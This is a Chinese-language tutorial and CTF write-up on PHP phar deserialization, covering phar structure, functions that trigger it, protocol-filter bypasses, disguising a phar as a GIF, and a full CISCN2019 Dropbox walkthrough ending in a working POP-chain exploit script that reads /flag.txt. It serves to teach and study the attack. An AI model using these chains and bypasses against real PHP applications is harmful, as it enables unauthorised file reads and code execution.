0x00 phar反序列化

phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

关于其他反序列化的总结,可以看我的这篇文章

0x01 原理

首先了解一下phar文件的结构,一个phar文件由四部分构成:

  • a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    在这里插入图片描述

  • the file contents:被压缩文件的内容。

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾


0x02 demo

注意:如果想要生成Phar文件,要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test {}
$o = new Test();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以看到meta-data是以序列化的形式存储的:

在这里插入图片描述


0x03 影响的函数

知道创宇的seaii 更为我们指出了所有文件函数均可使用:

在这里插入图片描述

但实际上只要调用了php_stream_open_wrapper的函数,都存在这样的问题。

因此还有如下函数:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers
  • mime_content_type

standard

  • getimagesize
  • getimagesizefromstring

finfo

  • finfo_file
  • finfo_buffer

zip

1
2
3
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

1
2
3
4
5
6
7
8
9
10
11
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

再配置一下mysqld。(非默认配置)

1
2
3
[mysqld]
local-infile=1
secure_file_priv=""

0x04 Trick

(1)如果过滤了phar://协议怎么办呢?

有以下几种方法可以绕过:

  • compress.bzip2://phar://

  • compress.zlib://phar:///

  • php://filter/resource=phar://


(2)除此之外,我们还可以将phar伪造成其他格式的文件。

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以看到加了GIF89a文件头,从而使其伪装成gif文件:

在这里插入图片描述

0x05 实例分析

CISCN2019 Dropbox

进入题目后,注册一个账号并登录,发现是一个网盘界面,限制了只能上传图片后缀,并能进行下载、删除操作:

在这里插入图片描述

没有其他什么利用点,我们抓一下下载的包:

在这里插入图片描述

发现可以成功读取到文件的内容,于是尝试任意文件下载:

在这里插入图片描述

确认存在任意文件下载,upload.phpclass.phpdownload.phpindex.phplogin.phpregister.php均可以下载得到源码,下面就是进行代码审计了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
=

download.php中我们可以看到它过滤了flag,这反而说明了flag就在当前目录下,但是不允许通过任意文件下载读取。

继续审计,发现在class.phpFile类的close方法有敏感函数file_get_contents(),这里应该就是利用点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {//$func = close()
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
//$file->close() $file = new File;
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

下面要思考的就是如何才能利用到这个函数,看到这些类以及魔术方法,不难想到应该是使用PHP反序列化来读取文件。

但是发现整个代码里没有使用unserialize()函数,这时就要利用上面的Phar反序列化,我们寻找利用点。

delete.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

可以看到创建了一个File类的对象,然后调用了open()方法,参数就是我们要删除的文件名,我们去看一下这个open()方法:

1
2
3
4
5
6
7
8
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

使用了file_exists()is_dir()处理了filename,而前面总结过,这两个函数都可以造成phar反序列化。

这样这题的思路就清楚了,即利用phar反序列化控制file_get_contents来读取flag.txt

于是我们来审计class.php构造序列化脚本,首先找一下有哪些魔术方法,看到User类中__destruct()调用了同名的close()方法,而FileList类中有__call()方法。

熟悉反序列化的应该很容易看出来:将User类的$db实例化为FIleLise的对象,这样当析构函数被调用的时候,就会调用FileList类的close()方法,而FileList类并没有该方法,于是调用__call()方法,观察一下__call方法:

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

调用后相当于把close传给了参数$func,然后遍历$files分别调用每个值的$func()方法,这里也就是调用close(),并将结果赋给result
所以只需要$files里有一个File类的对象,就能调用File类中的close()方法了,再将File类的filename赋为/flag.txt即可将结果读出来,然后在FileList类的__destruct()方法中会result的结果打印出来。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

class User
{
public $db;

public function __construct()
{
$this->db = new FileList;
}
}

class FileList
{
private $files;
private $results;
private $funcs;

public function __construct()
{
$file = new File;
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}

class File
{
public $filename;
public function __construct()
{
$this->filename = '/flag.txt';
}
}

$o = new User();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

运行得到shell.phar,改后缀为png上传:

在这里插入图片描述

在删除的时候抓包,并加上phar://伪协议,然后发包即可成功读到flag:

在这里插入图片描述



本篇文章以总结为主,所以部分内容参考了下列文章:
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6057